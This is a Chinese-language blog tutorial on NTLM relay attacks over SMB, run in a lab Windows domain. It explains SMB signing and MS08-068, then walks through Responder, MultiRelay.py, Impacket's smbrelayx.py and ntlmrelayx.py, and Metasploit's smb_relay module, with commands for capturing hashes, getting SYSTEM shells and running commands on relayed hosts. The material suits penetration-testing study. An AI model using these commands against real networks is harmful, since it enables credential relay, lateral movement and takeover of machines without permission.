**欢迎关注我的微信公众号《壳中之魂》**
NTLM重放攻击
如果我们获取的Hash为NTLM Hash v1,那么我们可以通过直接跑字典来尝试爆破,但是如今大多都只能拿到Hash v2,除非有强大的字典,否则尝试暴力破解是非常错误的选择,此时,我们可以尝试使用NTLM重放攻击
所谓重放攻击,就是要将截获的Net-NTLM Hash重放给其他机器来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。
事实上,只要是支持NTLM SSP的协议,都可以Relay过去,比如常见的有:SMB、EWS和LDAP。本文主要讲的是SMB。
攻击环境
攻击机:
kali(ip:192.168.200.4、10.10.10.66)
域内环境:
windows server 2016(DC)(ip:10.10.10.10)
windows server 2012(ip:10.10.10.12、192.168.200.20)
windows server 2008(ip:10.10.10.18)
NTLM重放
微软在MS08-068中对smb reflect到smb做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLM-Hash Relay。这个补丁在 CVE-2019-1384(Ghost Potato) 被绕过。
自从 MS08-068 漏洞修复之后无法再将 Net-NTLM 哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了 SMB签名。
说人话就是,A登陆了administrator这个账户,我们通过手段拿到A的Net-NTLM Hash后无法直接把这个Hash传递回A,但是如果域内的B也可以通过administrator这个账户登录,那我们可以把从A处获得的Hash传递给B,拿到B处的administrator权限
在开启了SMB Signing的情况下,在SMB协议利用NTLM SSP进行了身份验证后,后续的所有数据包,都会利用NTLM SSP生成的这个session key进行签名。SMB服务端收到后续的数据包后,也会检查数据包的签名,如果签名不对,则拒收。
NTLM SSP在生成session key的时候,会需要用到账号密码的原始 LM HASH 或 NT HASH。而relay型的攻击,都是站在一个中间人的位置,我们是不可能知道原始 LM HASH或NT HASH的(如果知道了也就不需要 Relay 这种攻击手法了)。所以,我们是无法计算出来这个session key的,自然也就无法对数据包进行签名。
SMB签名是一种服务器与客户端协商以使用继承的会话密钥对所有传入的数据包进行数字签名的配置。这样的话,即使NTLM会话还是可能被Relay,服务器也不会被利用,因为攻击者缺少会话密钥。在Active Directory 网络中只有域名控制器默认开启SMB签名,其他的所有服务器或工作组默认不受保护
使用Responder中的MultiRelay.py
再进行攻击之前,先使用Responder内的RunFinger.py脚本查看域内主机的SMB端口开放情况
代码语言:javascript复制./RunFinger.py -i 10.10.10.1/24
发现除了域控(10.10.10.10)其他的SMB签名都是关闭的的,其中windows server 2012登陆的是域管理员账号,win7登陆的是本地管理员账号
确定好目标主机关闭了SMB签名后使用MultiRelay.py进行攻击,由于域控打开了smb签名,所以只能对2012(10.10.10.12)下手
代码语言:javascript复制python MultiRelay.py -t 10.10.10.12 -u ALL
然后在域控访问kali
代码语言:javascript复制net use \10.10.10.66
成功反弹shell
然后我把2012的登录切换为域用户,发现依旧可以拿到shell,而且依旧是system权限,可以发现此方法不受目标当前登录用户影响
但是对于win7就无法拿到shell,是因为win7不在域中,没法登陆域管理员账号
使用Imapcket
smbrelayx.py
使用Impacket中的smbrelayx.py
首先先在目标机器使用命令
代码语言:javascript复制python3 ./smbrelayx.py -h 10.10.10.18 -c whoami
然后让其他登陆了域管理员的主机访问攻击者的ip(如果用的是域用户可能会不够权限执行某些命令)
可以看到返回了命令执行后的效果,以及使用的Net-Hash值
ntlmrelayx.py
ntlmrelayx.py 脚本可以直接用现有的hash去尝试重放指定的机器
首先先配置responder的配置文件,关闭对SMB和HTTP的监听,然后再启动
代码语言:javascript复制responder -I eth0
然后再使用ntlmrelayx脚本
代码语言:javascript复制./ntlmrelayx.py -t 10.10.10.18 -c ipconfig
然后我们只需要其他主机访问我们搭建的HTTP服务或者是SMB服务,这样就可以获得Hash以登录
如果想要目标访问HTTP服务的话,可以让KALI搭建一个服务器
代码语言:javascript复制service apache2 start
然后让其他主机登陆这个ip,然后在弹窗处填入用户名和密码即可,填写的用户权限就是我们可以拿到的权限
使用Metasploit
使用模块
代码语言:javascript复制exploit/windows/smb/smb_relay //实质上是ms08-068
注意:Metasploit的SMBRelay只支持NTLM v1,所以在攻击一些机器时会出现Failed to authenticate的情况
配置好payload、监听的ip和端口后即可启动
然后让目标主机执行命令
代码语言:javascript复制dir \192.168.200.4c$
但是可以发现,此模块不是讲hash传递给其他的主机,而是传递回了自己,但是在上面说到,微软发布了补丁防止这种行为,虽然可以绕过
微软在MS08-068中对smb reflect到smb做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLM-Hash Relay。这个补丁在 CVE-2019-1384(Ghost Potato) 被绕过。
而我测试的主机是2008 R2,说明高于此版本的系统正常情况下都不可以使用
参考文章
横向移动之smb中继攻击 - 简书 (jianshu.com)